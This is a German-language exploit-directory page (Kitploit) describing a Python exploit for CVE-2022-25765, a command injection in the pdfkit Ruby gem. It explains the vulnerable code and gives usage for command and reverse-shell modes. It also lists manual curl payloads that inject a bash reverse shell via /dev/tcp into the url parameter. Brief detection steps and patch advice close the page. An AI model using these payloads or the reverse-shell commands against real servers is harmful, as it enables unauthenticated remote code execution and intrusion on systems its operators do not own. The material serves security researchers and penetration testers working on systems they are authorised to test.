Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Python-Exploit für CVE-2022-25765 Befehlsinjektion in pdfkit, der Remote-Codeausführung über manipulierte URLs mit Reverse-Shell- und benutzerdefinierten Befehlsmodi ermöglicht.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
2vor 3 MonatenNoch nicht geprüft
Teilen

CVE-2022-25765 — Befehlsinjektion in pdfkit

Beschreibung

CVE-2022-25765 ist eine Befehlsinjektions-Schwachstelle (Command Injection), die pdfkit (Ruby gem) in Versionen < 0.8.7.2 betrifft. Die Schwachstelle hat einen KRITISCHEN Schweregrad mit CVSS 9.8, da sie die Remote-Ausführung von Befehlen ohne Authentifizierung ermöglicht.

Das Problem besteht darin, dass pdfkit den Parameter url ohne Bereinigung direkt an die Shell übergibt. Die Bibliothek führt intern wkhtmltopdf mit einem ähnlichen Befehl aus:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Wenn die URL %20 (URL-kodiertes Leerzeichen) gefolgt von Backticks ` oder $() enthält, interpretiert die Shell den Inhalt als Befehl und führt ihn aus.

CVSS 3.1: 9.8 (CRITICAL) —

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technische Details

FeldWert
CVECVE-2022-25765
Produktpdfkit (Ruby gem)
Betroffene Versionen0.0.0 – 0.8.7.2
TypCommand Injection (CWE-78)
AuthentifizierungNicht erforderlich
CVSS 3.19.8 CRITICAL
Patchpdfkit ≥ 0.8.7.2

Grundursache

Der anfällige Code in pdfkit (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

Die URL wird ohne Bereinigung direkt in den Shell-Befehl interpoliert. Durch das Einfügen von %20 (Leerzeichen) wird der Inhalt nach dem Leerzeichen aus dem Argumentkontext von wkhtmltopdf herausgelöst, und ein \`` oder $()` ermöglicht die Ausführung beliebiger Befehle.


Exploit

Ursprünglicher Autor

UNICORDev (@NicPWNs und @Dev-Yeoj)

Der ursprüngliche Exploit ist zu finden unter:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Voraussetzungen

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Verwendung

root@kitploit:~
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parameter

ParameterBeschreibung
-cBenutzerdefinierter Befehl
-s <IP> <PORT>Reverse-Shell-Modus
-w <URL>URL der anfälligen Website (optional)
-p <param>POST-Parameter (optional, Standard: url)
-hHilfe

Beispiele für manuelle Payloads

root@kitploit:~
# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identifizierung

Um zu identifizieren, ob ein Server anfällig ist:

  1. Eine kontrollierte URL senden und den HTTP-Callback beobachten
  2. Die Metadaten des generierten PDFs prüfen: Creator: pdfkit v0.8.6
root@kitploit:~
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Gegenmaßnahmen

  • pdfkit auf Version ≥ 0.8.7.2 aktualisieren
  • Falls ein Update nicht möglich ist, den Parameter url bereinigen, um gefährliche Zeichen zu entfernen (\``, $(), %20`)
  • Eine URL-Whitelist implementieren oder eine Drittanbieter-API zur PDF-Erzeugung verwenden

Referenzen

  • NVD — CVE-2022-25765
  • CVE-2022-25765 auf GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (Original)
Tool herunterladen